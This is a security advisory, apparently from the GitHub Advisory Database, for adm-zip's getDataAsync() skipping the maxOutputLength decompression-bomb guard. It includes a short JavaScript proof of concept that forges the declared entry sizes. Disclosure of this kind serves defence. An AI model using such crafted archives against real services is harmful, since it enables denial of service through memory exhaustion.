adm-zip: getDataAsync() bypasses the maxOutputLength size guard enforced by the synchronous getData() path
Summary
adm-zip enforces a maxOutputLength guard against decompression bombs on its synchronous getData() path, but the equivalent asynchronous getDataAsync() path does not enforce it — it accumulates and returns the entire decompressed output regardless of the entry's declared size. An application that checks an entry's declared size before deciding to process it, then reads the entry via getDataAsync() (a completely ordinary, often-recommended choice for I/O in Node.js), gets none of the protection it believes it has.
Details
methods/inflater.js:3-10passes{maxOutputLength: expectedLength}toinflateRawSync, which Node enforces.methods/inflater.js:12-31passes the same option tocreateInflateRawbut never enforces it on the streaming path — it just accumulates every chunk and allocates a final Buffer of whatever size resulted.
PoC
const AdmZip = require('adm-zip');
const zip = new AdmZip();
zip.addFile('p', Buffer.alloc(64 * 1024 * 1024, 0x41)); // 64 MiB
const raw = Buffer.from(zip.toBuffer());
// patch the local + central declared uncompressed size to 1 byte
raw.writeUInt32LE(1, localHeaderSizeOffset);
raw.writeUInt32LE(1, centralHeaderSizeOffset);
const entry = new AdmZip(raw).getEntry('p');
entry.getData();
// throws: ERR_BUFFER_TOO_LARGE: Cannot create a Buffer larger than 1 bytes
entry.getDataAsync((data, error) => { ... });
// returns the full 67,108,864-byte buffer, error is undefinedImpact
An application that validates a declared size before reading an entry, then uses the async API, gets no protection against a high-ratio DEFLATE payload. Repeated or larger requests could contribute to memory exhaustion.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | adm-zip | < 0.6.1 | 0.6.1 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-400, CWE-770- Platform
- npm
- Package
adm-zip- Disclosed
- 29.09.2026
- Updated
- 21.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - GHSA-c6fg-446q-cg94 - CC BY 4.0
Vulnerability history: adm-zip
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 9
- First → latest
- 07.2018 09.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- High 5
- Medium 4
Disclosures per year
- 2018: 1
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 8
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adm-zip: getDataAsync() bypasses the maxOutputLength size guard enforced by the synchronous getData() path this entry
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